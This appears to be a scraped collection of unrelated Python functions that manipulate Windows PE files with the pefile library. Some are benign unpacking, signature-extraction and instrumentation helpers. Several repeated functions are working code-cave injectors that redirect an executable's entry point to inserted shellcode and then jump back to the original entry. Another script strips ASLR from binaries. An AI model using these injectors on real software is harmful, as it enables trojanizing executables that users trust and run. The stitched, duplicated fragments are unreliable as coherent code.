def dump_image(uc, base_addr, virtualmemorysize, path="unpacked.exe"): loaded_img = uc.mem_read(base_addr, virtualmemorysize + 0x3000) pe = PE(data=loaded_img) print("Fixing sections") for i in range(len(pe.sections) - 1): curr_section = pe.sections[i] next_section = pe.sections[i + 1] fix_section(curr_section, next_section.VirtualAddress) # handle last section differently: we have no next section's virtual address. Thus we take the end of the image fix_section(pe.sections[-1], virtualmemorysize) pe.OPTIONAL_HEADER.CheckSum = pe.generate_checksum() print(f"Dumping state to {path}") pe.write(path)
def dump_image(uc, base_addr, virtualmemorysize, path="unpacked.exe"): print(f"Dumping state to {path}") loaded_img = uc.mem_read(base_addr, virtualmemorysize + 0x3000) pe = PE(data=loaded_img) header_size = align(len(pe.header)) pe.sections[0].PointerToRawData = header_size # make the section 2GiB ... pefile truncates to actual max size of data pe.sections[0].SizeOfRawData = 0x80000000 pe.sections[0].Misc_VirtualSize = len(pe.sections[0].get_data()) for section in pe.sections[1:]: section.SizeOfRawData = 0 section.Misc_VirtualSize = 0 pe.write(path)
def restore_pe(file): from pefile import PE pe = PE(file,fast_load=True) # Helpers find_section = lambda name:next(filter(lambda x:name in x.Name,pe.sections)) find_data_directory = lambda name:next(filter(lambda x:name in x.name,pe.OPTIONAL_HEADER.DATA_DIRECTORY)) # Remove .enigma sections pe.__data__ = pe.__data__[:find_section(b'.enigma1').PointerToRawData] pe.FILE_HEADER.NumberOfSections -= 2 # Restore rdata & idata sections find_data_directory('TLS').VirtualAddress = find_section(b'.rdata').VirtualAddress find_data_directory('ENTRY_IMPORT').VirtualAddress = find_section(b'.idata').VirtualAddress # Write to new file pe_name = os.path.basename(file)[:-4] + ORIGINAL_PE_SUFFIX pe_name = os.path.join(output,pe_name).replace('\\','/') pe.write(pe_name) print('[-] Original PE saved:',pe_name)
def injectPE(filename, shellcode, output_file): pe = PE(filename) original_entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint (end_offset, end_offset_aligned, padding, permissions) = getEPDetails(pe) # check permissions print '[*] Permissions for entry point\'s section :', permissions.items() if permissions['exec'] == False: print '[!] Entry point is not executable! Wtf? Exiting!' exit(1) # check for enough padding to fit the payload print '[*] Found %d bytes of padding' % padding sc_size = len(shellcode) + 7 # +1 pusha, +1 popa, +5 rel32 jmp if padding < sc_size: print '[!] Not enough padding to insert shellcode :(' exit(1) else: print ' [+] There is enough room for the shellcode!' print ' [+] start_va = 0x%08x, end_va = 0x%08x' % ( pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(end_offset), pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(end_offset_aligned)) print ' [+] start_offset = 0x%x, end_offset = 0x%x' % ( end_offset, end_offset_aligned) # use the right-most bytes available sc_end_offset = end_offset_aligned sc_start_offset = sc_end_offset - sc_size print '[*] Placing the payload at :' print ' [+] start_va = 0x%08x, end_va = 0x%08x' % ( pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(sc_start_offset), pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(sc_end_offset)) print ' [+] start_offset = 0x%x, end_offset = 0x%x' % (sc_start_offset, sc_end_offset) # change the entry point changeEntryPoint(pe, pe.get_rva_from_offset(sc_start_offset)) raw_data = pe.write() jmp_distance = original_entry_point - pe.get_rva_from_offset(sc_end_offset) # fix the shellcode to save register contents and jmp to original entry after completion shellcode = fixShellcode(shellcode, jmp_distance) raw_data = insertShellcode(raw_data, sc_start_offset, shellcode) # write the new file pe.close() # close the 'opened' PE first new_file = open(output_file, 'wb') new_file.write(raw_data) new_file.close() print '[*] New file created :)'
def main(exe_file, shellcode): if not (os.path.isfile(exe_file)): print( "\nExecutable file cant detected ! \n Please try with full path.\n" ) return False shellcode = shellcode.replace("\\x", "").decode("hex") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(shellcode) + 7 if padd < scode_size: print("\nEnough space is not available for shellcode") print("Available codecave len : {0} \n").format(covecavelenght(pe)) return False else: scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset( scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off + len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() while True: final_pe_file = "{0}".format(str(randint(0, 999999999))) if not os.path.isfile(final_pe_file): break new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() print("\nNew file : {0} saved !").format(final_pe_file) print('[*] Job Done! :)')
def inject(): class NotEnoughSize(Exception): pass exe_file = res.BINARY final_pe_file = '{}_injected'.format(res.BINARY) shellcode = scode pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva( pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(shellcode) + 7 if padd < scode_size: summary.append( logs.err('Not enough size for shellcode injection', prnt=False)) else: #logs.good('Found {} bytes of empty space'.format(padd)) scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset( scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) pusha = '\x60' popa = '\x61' shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off + len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() summary.append( logs.good('Succesfully injected shellcode', prnt=False))
def injectPE(filename, shellcode, output_file): pe = PE(filename) original_entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint (end_offset, end_offset_aligned, padding, permissions) = getEPDetails(pe) # check permissions print '[*] Permissions for entry point\'s section :', permissions.items() if permissions['exec'] == False: print '[!] Entry point is not executable! Wtf? Exiting!' exit(1) # check for enough padding to fit the payload print '[*] Found %d bytes of padding' % padding sc_size = len(shellcode)+7 # +1 pusha, +1 popa, +5 rel32 jmp if padding < sc_size: print '[!] Not enough padding to insert shellcode :(' exit(1) else: print ' [+] There is enough room for the shellcode!' print ' [+] start_va = 0x%08x, end_va = 0x%08x' % (pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(end_offset), pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(end_offset_aligned)) print ' [+] start_offset = 0x%x, end_offset = 0x%x' % (end_offset, end_offset_aligned) # use the right-most bytes available sc_end_offset = end_offset_aligned sc_start_offset = sc_end_offset - sc_size print '[*] Placing the payload at :' print ' [+] start_va = 0x%08x, end_va = 0x%08x' % (pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(sc_start_offset), pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(sc_end_offset)) print ' [+] start_offset = 0x%x, end_offset = 0x%x' % (sc_start_offset, sc_end_offset) # change the entry point changeEntryPoint(pe, pe.get_rva_from_offset(sc_start_offset)) raw_data = pe.write() jmp_distance = original_entry_point - pe.get_rva_from_offset(sc_end_offset) # fix the shellcode to save register contents and jmp to original entry after completion shellcode = fixShellcode(shellcode, jmp_distance) raw_data = insertShellcode(raw_data, sc_start_offset, shellcode) # write the new file pe.close() # close the 'opened' PE first new_file = open(output_file, 'wb') new_file.write(raw_data) new_file.close() print '[*] New file created :)'
def main( exe_file, shellcode): if not (os.path.isfile( exe_file)): print("\nExecutable file cant detected ! \n Please try with full path.\n") return False shellcode = shellcode.replace("\\x", "").decode("hex") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva+padd) - 1 scode_size = len(shellcode)+7 if padd < scode_size: print("\nEnough space is not available for shellcode") print("Available codecave len : {0} \n").format( covecavelenght( pe)) return False else: scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off+len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() while True: final_pe_file = "{0}".format(str(randint(0, 999999999))) if not os.path.isfile(final_pe_file): break new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() print ("\nNew file : {0} saved !").format( final_pe_file) print ('[*] Job Done! :)')
logger.addHandler(h) def get_pe_aslr_status(pe): DYNAMIC_BASE = 0x40 is_aslr = pe.OPTIONAL_HEADER.DllCharacteristics & DYNAMIC_BASE if is_aslr: logger.warning('the binary has ASLR enabled! disabling...') pe.OPTIONAL_HEADER.DllCharacteristics &= ~DYNAMIC_BASE return (True, pe) else: logger.info('the binary does not have ASLR enabled') return (False, pe) if __name__ == '__main__': if len(argv) != 2: logger.error('usage: ./is_aslr_enabled.py <PE file>') exit(1) path = argv[1] logger.debug('opening PE file with path {path}'.format(path=path)) pe = PE(path) logger.info('checking status of ASLR within the binary') (changed, pe) = get_pe_aslr_status(pe) if changed: new_path = '{orig_exe}-patched.exe'.format(orig_exe=path) pe.write(filename=new_path) logger.info('updated file written. verifying ASLR has been disabled') pe = PE(new_path) get_pe_aslr_status(pe)
exe_file = raw_input("Enter Path To Exe File ") final_pe_file = raw_input("Enter Path To New Exe File: ") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(sample_shell_code) + 7 if padd < scode_size: # Enough space is not available for shellcode exit() # Code can be injected scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) sample_shell_code = "\x60%s\x61\xe9%s" % (sample_shell_code, pack("I", jmp_to & 0xFFFFFFFF)) final_data = list(raw_pe_data) final_data[scode_start_off : scode_start_off + len(sample_shell_code)] = sample_shell_code final_data = "".join(final_data) raw_pe_data = final_data pe.close() new_file = open(final_pe_file, "wb") new_file.write(raw_pe_data) new_file.close() print "New File : " + final_pe_file
exe_file = raw_input('[*] Enter full path of the main executable :') final_pe_file = raw_input('[*] Enter full path of the output executable :') pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva+padd) - 1 scode_size = len(sample_shell_code)+7 if padd < scode_size: # Enough space is not available for shellcode exit() # Code can be injected scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) sample_shell_code = '\x60%s\x61\xe9%s' % (sample_shell_code, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off+len(sample_shell_code)] = sample_shell_code final_data = ''.join(final_data) raw_pe_data = final_data pe.close() new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() print '[*] Job Done! :)'
def get_digital_signers(self, pe: pefile.PE) -> List[dict]: """If this executable is signed, get its signature(s).""" if not pe: return [] if not HAVE_CRYPTO: log.critical( "You do not have the cryptography library installed preventing certificate extraction. pip3 install cryptography" ) return [] dir_index = pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_SECURITY"] if len(pe.OPTIONAL_HEADER.DATA_DIRECTORY) < dir_index: return [] dir_entry = pe.OPTIONAL_HEADER.DATA_DIRECTORY[dir_index] if not dir_entry or not dir_entry.VirtualAddress or not dir_entry.Size: return [] retlist = [] address = pe.OPTIONAL_HEADER.DATA_DIRECTORY[dir_index].VirtualAddress # check if file is digitally signed if address == 0: return retlist signatures = pe.write()[address + 8:] if isinstance(signatures, bytearray): signatures = bytes(signatures) try: certs = backend.load_der_pkcs7_certificates(signatures) except Exception: certs = [] for cert in certs: md5 = binascii.hexlify(cert.fingerprint(hashes.MD5())).decode() sha1 = binascii.hexlify(cert.fingerprint(hashes.SHA1())).decode() sha256 = binascii.hexlify(cert.fingerprint( hashes.SHA256())).decode() cert_data = { "md5_fingerprint": md5, "sha1_fingerprint": sha1, "sha256_fingerprint": sha256, "serial_number": str(cert.serial_number), "not_before": cert.not_valid_before.isoformat(), "not_after": cert.not_valid_after.isoformat(), } try: for attribute in cert.subject: cert_data[ f"subject_{attribute.oid._name}"] = attribute.value except ValueError as e: log.warning(e) try: for attribute in cert.issuer: cert_data[ f"issuer_{attribute.oid._name}"] = attribute.value except ValueError as e: log.warning(e) try: for extension in cert.extensions: if extension.oid._name == "authorityKeyIdentifier" and extension.value.key_identifier: cert_data[ f"extensions_{extension.oid._name}"] = base64.b64encode( extension.value.key_identifier).decode() elif extension.oid._name == "subjectKeyIdentifier" and extension.value.digest: cert_data[ f"extensions_{extension.oid._name}"] = base64.b64encode( extension.value.digest).decode() elif extension.oid._name == "certificatePolicies": for index, policy in enumerate(extension.value): if policy.policy_qualifiers: for qualifier in policy.policy_qualifiers: if qualifier.__class__ is not cryptography.x509.extensions.UserNotice: cert_data[ f"extensions_{extension.oid._name}_{index}"] = qualifier elif extension.oid._name == "cRLDistributionPoints": for index, point in enumerate(extension.value): for full_name in point.full_name: cert_data[ f"extensions_{extension.oid._name}_{index}"] = full_name.value elif extension.oid._name == "authorityInfoAccess": for authority_info in extension.value: if authority_info.access_method._name == "caIssuers": cert_data[ f"extensions_{extension.oid._name}_caIssuers"] = authority_info.access_location.value elif authority_info.access_method._name == "OCSP": cert_data[ f"extensions_{extension.oid._name}_OCSP"] = authority_info.access_location.value elif extension.oid._name == "subjectAltName": for index, name in enumerate( extension.value._general_names): if isinstance(name.value, bytes): cert_data[ f"extensions_{extension.oid._name}_{index}"] = base64.b64encode( name.value).decode() else: cert_data[ f"extensions_{extension.oid._name}_{index}"] = ( name.value.rfc4514_string() if hasattr( name.value, "rfc4514_string") else name.value) except ValueError: continue retlist.append(cert_data) return retlist
def restore_pe(file,output): # PEfile isn't the best for this job, but we'll get it done ;) # TODO : Recaluclate SizeOfImage to match the acutal file from pefile import PE,OPTIONAL_HEADER_MAGIC_PE_PLUS print('[-] Loading PE...') pe = PE(file,fast_load=True) PE64 = pe.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS pe.__data__ = bytearray(pe.__data__) # This allows us to apply slicing on the PE data # Helpers find_section = lambda name:next(filter(lambda x:name in x.Name,pe.sections)) find_data_directory = lambda name:next(filter(lambda x:name in x.name,pe.OPTIONAL_HEADER.DATA_DIRECTORY)) # Data enigma1 = pe.__data__[find_section(b'.enigma1').PointerToRawData:] hdr = unpack(EVB_ENIGMA1_HEADER,enigma1,104 if PE64 else 76) # Restore section with built-in offsets. All these ADDRESSes are VAs find_data_directory('IMPORT').VirtualAddress = hdr['IMPORT_ADDRESS'] find_data_directory('IMPORT').Size = hdr['IMPORT_SIZE'] find_data_directory('RELOC').VirtualAddress = hdr['RELOC_ADDRESS'] find_data_directory('RELOC').Size = hdr['RELOC_SIZE'] print('[-] Rebuilding Exception directory...') # Rebuild the exception directory exception_dir = find_data_directory('EXCEPTION') exception_raw_ptr = pe.get_offset_from_rva(exception_dir.VirtualAddress) exception_data = pe.__data__[exception_raw_ptr:exception_raw_ptr + exception_dir.Size] exception_struct = PE64_EXCEPTION if PE64 else PE_EXCEPTION exception_end = 0 for i in range(0,exception_dir.Size,get_size_by_struct(exception_struct)): block = unpack(exception_struct,exception_data[i:]) block['section'] = pe.get_section_by_rva(block['BEGIN_ADDRESS']) exception_end = i if b'.enigma' in block['section'].Name: break exception_data = exception_data[:exception_end] # Prepare partial TLS data for searching tls_dir = find_data_directory('TLS') tls_raw_ptr = pe.get_offset_from_rva(tls_dir.VirtualAddress) tls_data = bytearray(pe.__data__[tls_raw_ptr:tls_raw_ptr + tls_dir.Size]) original_callback = hdr['TLS_CALLBACK_RVA'] + pe.OPTIONAL_HEADER.ImageBase original_callback = struct.pack('<' + ('Q' if PE64 else 'I'),original_callback) if (PE64): tls_data += original_callback # AddressOfCallBacks else: tls_data[12:16] = original_callback # AddressOfCallBacks tls_data = tls_data[:16] # Destory .enigma* sections pe.__data__ = pe.__data__[:find_section(b'.enigma1').PointerToRawData] + pe.__data__[find_section(b'.enigma2').PointerToRawData + find_section(b'.enigma2').SizeOfRawData:] # If original program has a overlay, this will perserve it. Otherwise it's okay to remove them anyway. assert pe.sections.pop().Name == b'.enigma2' assert pe.sections.pop().Name == b'.enigma1' pe.FILE_HEADER.NumberOfSections -= 2 # NOTE: .enigma1 contains the VFS, as well as some Optional PE Header info as descrbied above # NOTE: .enigma2 is a aplib compressed loader DLL. You can decompress it with aplib provided in this repo if (exception_data): # Reassign the RVA & sizes print('[-] Rebuilt Exception directory. Size=0x%x' % len(exception_data)) # Find where this could be placed at...since EVB clears the original exception directory listings # PEs with overlays won't work at all if EVB packed them. # We must remove the sections and do NOT append anything new offset = 0 for section in pe.sections: offset_ = pe.__data__.find(b'\x00' * len(exception_data),section.PointerToRawData, section.PointerToRawData + section.SizeOfRawData) if offset_ > 0: # Check for references in the Optional Data Directory # The offset should not be referenced otherwise we would overwrite existing data for header in pe.OPTIONAL_HEADER.DATA_DIRECTORY: if pe.get_rva_from_offset(offset_) in range(header.VirtualAddress,header.VirtualAddress+header.Size): offset = 0 break else: offset = offset_ if offset > 0: break assert offset > 0,"Cannot place Exceptions Directory!" section = pe.get_section_by_rva(pe.get_rva_from_offset(offset)) print('[-] Found suitable section to place Exception Directory. Name=%s RVA=0x%x' % (section.Name.decode(),offset - section.PointerToRawData)) pe.__data__[offset:offset+len(exception_data)] = exception_data section.SizeOfRawData = max(section.SizeOfRawData,len(exception_data)) exception_dir.VirtualAddress = pe.get_rva_from_offset(offset) exception_dir.Size = len(exception_data) else: print('[-] Original program does not contain Exception Directory.') exception_dir.VirtualAddress = 0 exception_dir.Size = 0 offset = pe.__data__.find(tls_data) # Append the exception section and assign the pointers # Serach for TLS in memory map since it's not removed. tls_dir = find_data_directory('TLS') if (offset > 0): print('[-] TLS Directory found. Offset=0x%x' % offset) tls_dir.VirtualAddress = pe.get_rva_from_offset(offset) tls_dir.Size = 40 if PE64 else 24 else: print('[-] Original program does not utilize TLS.') tls_dir.VirtualAddress = 0 tls_dir.Size = 0 # Write to new file pe_name = os.path.basename(file)[:-4] + ORIGINAL_PE_SUFFIX pe_name = os.path.join(output,pe_name).replace('\\','/') new_file_data = pe.write() write_bytes(BytesIO(new_file_data),open(pe_name,'wb+'),len(new_file_data),desc='Saving PE') print('[-] Original PE saved:',pe_name)
class WSHInstrumentation(object): def __init__(self, libpath): self.libpath = libpath self.pe = PE(libpath) last_section = self.pe.sections[-1] # In case of uninitialized data at the end of section # Not needed now, so not implemented assert last_section.Misc_VirtualSize <= last_section.SizeOfRawData self.last_section = last_section # Set RWX self.last_section.IMAGE_SCN_MEM_WRITE = True self.last_section.IMAGE_SCN_MEM_EXECUTE = True # Move from mmap to str self.pe.__data__ = self.pe.__data__.read(self.pe.__data__.size()) def next_rva(self): section = self.last_section return section.VirtualAddress + section.SizeOfRawData def append(self, data): section = self.last_section rva = self.next_rva() section.SizeOfRawData += len(data) section.Misc_VirtualSize = section.SizeOfRawData self.pe.__data__ += data return rva def align(self, alignment, padchar='\x00'): va = self.next_rva() pad = (alignment - va % alignment) self.append(pad * padchar) def rebuild_imports(self, routines): # Build string list rva_winedrop_dll = self.append("winedrop.dll\x00") rva_routine_str = [] for r in routines: # hint (0) + name + terminator rva_routine_str.append(self.append('\x00\x00' + r + '\x00')) # 0x10 alignment self.align(16) # Build OriginalThunkList rva_oft = self.next_rva() for r in rva_routine_str: self.append(p32(r)) self.append(p32(0)) # 0x10 alignment self.align(16) # Build ThunkList rva_ft = self.next_rva() rva_iat = [] for r in rva_routine_str: rva_iat.append(self.append(p32(r))) self.append(p32(0)) # 0x10 alignment self.align(16) # Copy import table entries offs_imports = self.pe.get_offset_from_rva( self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress) rva_imports = self.next_rva() while True: entry = self.pe.__data__[offs_imports:offs_imports + 20] if entry[:4] == "\x00\x00\x00\x00": break offs_imports += 20 self.append(entry) # Add winedrop.dll entry self.append( struct.pack( "<IIIII", rva_oft, # OriginalFirstThunk 0, # Timestamp 0, # ForwarderChain rva_winedrop_dll, # Name rva_ft)) # FirstThunk # Add import table delimiter entry self.append("\x00" * 20) # End of import pseudo-section self.align(0x200) # Fix data directory and finish! self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress = rva_imports self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].Size += 20 # Fix SizeOfImage sizeOfImage = self.last_section.VirtualAddress + self.last_section.SizeOfRawData self.pe.OPTIONAL_HEADER.SizeOfImage = sizeOfImage + ( 4096 - sizeOfImage % 4096) # Return IAT entries for each imported routine return rva_iat def add_trampolines(self, iat): """ Assume that we're hooking function with signature "int __stdcall fn(a,b,c)". After CALL to trampoline, stack looks like: fn_ptr callee_ptr a b c We will swap last two elements: callee_ptr fn_ptr+2 a b c So now we're effectively calling "int __stdcall hook_fn(orig_ptr, a, b, c)" with callee_ptr as return address. """ tramp_code = ''.join([ "\x58", # pop eax "\x83\xc0\x02", # add eax, 2 "\x87\x04\x24", # xchg [esp], eax "\x50", # push eax "\xe8\x00\x00\x00\x00", # call $+5 "\x58", # pop eax "\xff\xa0" # jmp [eax+...] ]) tramp_edx = len(tramp_code) - 3 tramp_rva = [] for va in iat: tramp_rva.append( self.append(tramp_code + p32((va - (self.next_rva() + tramp_edx))))) self.align(16, '\xcc') self.align(0x200) return tramp_rva def hook_patch(self, patch_va, tramp_va): patch_offs = self.pe.get_offset_from_rva(patch_va) # Is it "hookable" function prologue? assert self.pe.__data__[patch_offs - 5:patch_offs + 2] == "\x90\x90\x90\x90\x90\x8B\xFF" # Apply hook patch (jmp backwards, call to tramp_va) data = bytearray(self.pe.__data__) data[patch_offs - 5:patch_offs + 2] = "\xe8{}\xeb\xf9".format( p32(tramp_va - patch_va)) self.pe.__data__ = str(data) def write(self, fname): self.pe.write(fname)